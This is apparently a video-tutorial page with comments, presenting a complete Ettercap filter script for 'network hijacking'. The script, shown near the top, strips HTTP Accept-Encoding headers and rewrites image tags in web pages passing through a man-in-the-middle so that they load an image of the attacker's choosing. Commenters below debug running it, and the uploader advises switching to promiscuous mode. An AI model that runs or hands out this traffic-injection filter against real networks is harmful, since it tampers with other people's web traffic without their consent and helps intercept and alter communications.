Network Hijacking with Ettercap script

This is a tutorial showing you how to use ettercap script to hack the network.
Thanks to Ronsoft Tutorials

Script: ron.filter
=============
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.Any-site.com/your-image.png\" ");
replace("IMG SRC=", "img src=\"http://www.Any-site.com/your-image.png\" ");
msg("Filter Ran.\n");
}

REFERENCES:

ip.proto:
http://www.networksorcery.com/enp/protocol/ip.htm

Encoding:
http://en.wikipedia.org/wiki/Character_encodings_in_HTML

Category:

Education

Tags:

• Hacking Backtrack 4
• social engineering toolkit
• SET toolkit
• web hacking
• exploits
• Ettercap
• Etterfilter
• script
• Ron_vids Ron_clips

[jeromesheerin1982]

hi

I get this error when launching a website,

The replace seems to throw the following error for each image found

JIT FILTER FAULT: Cannot modify packets in unoffensive mode

JIT FILTER FAULT: Cannot modify packets in unoffensive mode

JIT FILTER FAULT: Cannot modify packets in unoffensive mode

Any ideas as to unoffensive mode???

[Ronnieflip]

@jeromesheerin1982 : Hey try switch to the promisc mode under the options tab.

[LankAsif]

Ronnieflip I copied your script and when I type etterfilter ron.filter -o ron.ef

I get the message

[ron.filter:1]: Constant "S" not recognized

Any idea of how to fix this??

Thanks for the vid by the way.

[Ronnieflip]

@LankAsif : I think you should recheck your script. Looks like a the "s" char got in unnoticed!

[themxkan]

CimpianAlin no its not fake this script is also posted in the irongeek website he explains this in detail and i know kus of personal experience :)

[jnewbon00]

are u on speed or somting fuuuuck calm down man i literaly cant understand you

[CimpianAlin]

it`s fake is connected with remote conection also VNC :)))) no ettercap

[ewb0greymore]

nice tutorial

[yomikaiser]

you have backtrack for dummies , u dont know wat are u doin XD

[gr4yh4t]

Ooo God ! I like the that you're talking ! why are you so excited ? by the way , it was my first filter script tutorials, looks like not so difficult as i though at all ! thanks :)

[AstralFXTech]

7:55

[Ronnieflip]

@Apolakkiatis : No problem..... i be glad if i can help.